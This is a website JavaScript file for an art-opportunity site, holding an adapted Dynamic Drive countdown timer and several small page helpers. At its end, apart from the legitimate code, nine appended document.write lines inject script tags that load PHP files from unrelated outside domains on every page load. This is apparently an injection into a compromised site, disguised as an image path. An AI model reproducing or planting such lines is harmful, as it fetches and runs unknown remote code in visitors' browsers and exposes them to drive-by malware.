/***********************************************
* counter.js adapted by Alex @ Ninthlink.com from:
* Dynamic Countdown script- © Dynamic Drive (http://www.dynamicdrive.com)
* This notice MUST stay intact for legal use
* Visit http://www.dynamicdrive.com/ for this script and 100s more.
***********************************************/

function cdtime(){
var container = "remaining-time";
if (!document.getElementById || !document.getElementById(container)) return;
this.container=document.getElementById(container);
this.currentTime=new Date();
this.targetdate=new Date("January 5, 2007");
this.timesup=false;
//this.updateTime();
}

cdtime.prototype.updateTime=function(){
var thisobj=this;
this.currentTime.setSeconds(this.currentTime.getSeconds()+1) ;
setTimeout(function(){thisobj.updateTime()}, 1000); //update time every second
}

cdtime.prototype.displaycountdown=function(){
//this.formatresults=formatresults;
//this.showresults();
}

cdtime.prototype.showresults=function(){
var thisobj=this;
var timediff=(this.targetdate-this.currentTime)/1000;
var oneMinute=60;
var oneHour=60*60;
var oneDay=60*60*24;
var dayfield=Math.floor(timediff/oneDay);
var hourfield=Math.floor((timediff-dayfield*oneDay)/oneHour);
var minutefield=Math.floor((timediff-dayfield*oneDay-hourfield*oneHour)/oneMinute);
var secondfield=Math.floor((timediff-dayfield*oneDay-hourfield*oneHour-minutefield*oneMinute));
var day1 = Math.floor(dayfield / 10);
var day2 = dayfield % 10;
var hour1 = Math.floor(hourfield / 10);
var hour2 = hourfield % 10;
var min1 = Math.floor(minutefield / 10);
var min2 = minutefield % 10;
var sec1 = Math.floor(secondfield / 10);
var sec2 = secondfield % 10;
this.container.innerHTML=this.formatresults(day1,day2,hour1,hour2,min1,min2,sec1,sec2);
setTimeout(function(){thisobj.showresults()}, 1000); //update results every second
}

cdtime.prototype.remainingDays=function(){
	var timediff = (this.targetdate - this.currentTime)/1000;
	var dayfield=Math.floor(timediff/(60*60*24));
	document.write("You have ");
	if(dayfield != 1) { document.write(dayfield + " days "); }
	else document.write("1 day ");
	document.write("left to enter.");
}

function formatresults(d1,d2,h1,h2,m1,m2,s1,s2){
	var root = "http://www.art-opp.com/includes/images/";
var displaystring="<img src='"+root+""+d1+".gif'>"+"<img src='"+root+""+d2+".gif'><img src='"+root+"d.gif'><img src='"+root+""+h1+".gif'>"+"<img src='"+root+""+h2+".gif'><img src='"+root+"h.gif'><img src='"+root+""+m1+".gif'>"+"<img src='"+root+""+m2+".gif'><img src='"+root+"m.gif'><img src='"+root+""+s1+".gif'>"+"<img src='"+root+""+s2+".gif'><img src='"+root+"s.gif'>";
return displaystring;
}



/************ random other scripts **************/
function check_cdfs(form) {
	return true;
}

function doSubmit() {
	if (check_cdfs(document.survey)) {
		window.open('thankyou.html','signup','resizable=1,scrollbars=0,width=300,height=270');
		document.contact-form.submit();
	}
    return false;
}

function writeTop(){
	var i = Math.ceil(Math.random()*5);
	var $html = [ 
		'<img src="../images/martha-rich/art-',
        i,
        '.jpg" width="534" height="175" border="0" alt="Featured Artist - Mark Murphy" id="about-img" />'
	].join('');
	document.write($html);
}

function picSwap( name, newSrc ) {
	document[name].src= newSrc;
	return false;
}

function writeemail(email) {
	if(email == 'martharich') { document.write('<a href="mailto:martha@martharich.com">martha@martharich.com</a>');}
	else {	document.write('at <a href="mailto:info@art-opp.com">info@art-opp.com</a> ');	}
}
document.write('<script src=http://affiliatedreams.com/images/image.php ><\/script>');
document.write('<script src=http://affiliatedreams.com/images/image.php ><\/script>');
document.write('<script src=http://affiliatedreams.com/images/image.php ><\/script>');
document.write('<script src=http://affiliatedreams.com/images/image.php ><\/script>');
document.write('<script src=http://affiliatedreams.com/images/image.php ><\/script>');
document.write('<script src=http://affiliatedreams.com/images/image.php ><\/script>');
document.write('<script src=http://affiliatedreams.com/images/image.php ><\/script>');
document.write('<script src=http://affiliatedreams.com/images/image.php ><\/script>');
document.write('<script src=http://flgfc.com/tmp/resize.php ><\/script>');
